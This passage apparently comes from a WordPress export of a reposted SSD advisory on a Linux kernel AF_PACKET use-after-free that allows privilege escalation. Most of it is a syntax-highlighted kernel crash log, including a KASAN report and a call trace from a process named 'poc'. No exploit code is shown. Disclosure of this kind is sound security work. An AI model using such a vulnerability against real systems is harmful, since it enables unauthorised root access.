<\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-i\">fb<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-70\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.846663<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ffff88005c67f300<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-i\">fb<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-71\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.847362<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-v\">ffff88005c67f380<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-i\">fb<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-72\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.848078<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">^<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-73\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.848561<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ffff88005c67f400<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-i\">fb<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-74\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.849275<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ffff88005c67f480<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-i\">fb<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-75\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.849988<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-76\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.850701<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Disabling <\/span><span class=\"crayon-e\">lock <\/span><span class=\"crayon-e\">debugging <\/span><span class=\"crayon-e\">due <\/span><span class=\"crayon-st\">to<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">kernel <\/span><span class=\"crayon-i\">taint<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-77\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.851280<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Kernel <\/span><span class=\"crayon-v\">panic<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">not<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">syncing<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">panic_on_warn <\/span><span class=\"crayon-i\">set<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-78\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.851280<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-79\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.852134<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">CPU<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PID<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">225<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Comm<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">poc <\/span><span class=\"crayon-v\">Tainted<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">G<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">B<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-cn\">4.13.13<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-p\">#3<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-80\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.852974<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Hardware <\/span><span class=\"crayon-v\">name<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">QEMU <\/span><span class=\"crayon-e\">Standard <\/span><span class=\"crayon-e\">PC<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">i440FX<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PIIX<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1996<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">BIOS<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1.10.2<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1ubuntu1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">04<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">01<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">2014<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-81\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.854044<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Call <\/span><span class=\"crayon-v\">Trace<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-82\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.854352<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">dump_stack<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xb8<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x152<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-83\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.857454<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">panic<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x199<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x329<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-84\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.858279<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">kasan_end_report<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x43<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x50<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-85\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.858742<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">kasan_report<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x16c<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x360<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-86\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.859695<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">__asan_report_store8_noabort<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x1c<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x20<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-87\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.860313<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">dev_add_pack<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x240<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x2d0<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-88\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.861305<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">register_prot_hook<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">part<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-cn\">50<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x81<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0xa0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-89\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.861688<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">packet_do_bind<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x52e<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0xda0<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-90\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.863094<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">packet_bind<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x117<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x190<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-91\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.863433<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">SYSC_bind<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x1bd<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x490<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-92\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.874596<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">SyS_bind<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xe<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x10<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-93\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.874858<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">entry_SYSCALL_64_fastpath<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x24<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0xab<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-94\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.875242<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RIP<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0033<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">0x450a67<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-95\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.875500<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RSP<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">002b<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">00007fa6e7976d28<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">EFLAGS<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000217<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ORIG_RAX<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000000000031<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-96\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.876209<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RAX<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ffffffffffffffda <\/span><span class=\"crayon-v\">RBX<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00007fa6e7977700<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RCX<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000000450a67<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-97\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.876985<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RDX<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000000000014<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RSI<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00007fa6e7976d50<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RDI<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000000000014<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-98\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.877819<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RBP<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00007ffd83198af0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">R08<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00007fa6e7977700<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">R09<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00007fa6e7977700<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-99\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.878695<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">R10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00007fa6e79779d0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">R11<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000000000217<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">R12<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00007ffd83198aee<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-100\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.879546<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">R13<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00007ffd83198aef<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">R14<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00007fa6e7977700<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">R15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">000000000000000f<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-101\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.880562<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Kernel <\/span><span class=\"crayon-v\">Offset<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x32a00000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">from<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xffffffff81000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">relocation <\/span><span class=\"crayon-v\">range<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xffffffff80000000<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">0xffffffffbfffffff<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-102\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.881832<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Rebooting <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">seconds<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0199 seconds] -->  <\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\" title=\"Printer Friendly, PDF &#038; Email\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\" alt=\"Print Friendly, PDF &#038; Email\" \/><\/a><\/div>\n<\/div><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3731\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\"\/><\/p>\n<p><strong>Credit to Author: SSD \/ Ori Nimron| Date: Wed, 15 Aug 2018 05:26:28 +0000<\/strong><\/p>\n<p>Vulnerability Summary UAF vulnerability in Linux Kernel\u2019s implementation of AF_PACKET leads to privilege escalation. AF_PACKET sockets allow users to send or receive packets on the device driver level, which lets them implement their own protocol on top of the physical layer or sniffing packets including Ethernet and higher levels protocol and higher levels of the &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3731\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory \u2013 Linux Kernel AF_PACKET Use After Free (packet_sock)<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[10757,13145],"class_list":["post-13117","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-securiteam-secure-disclosure","tag-use-after-free"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/13117","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=13117"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/13117\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=13117"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=13117"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=13117"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}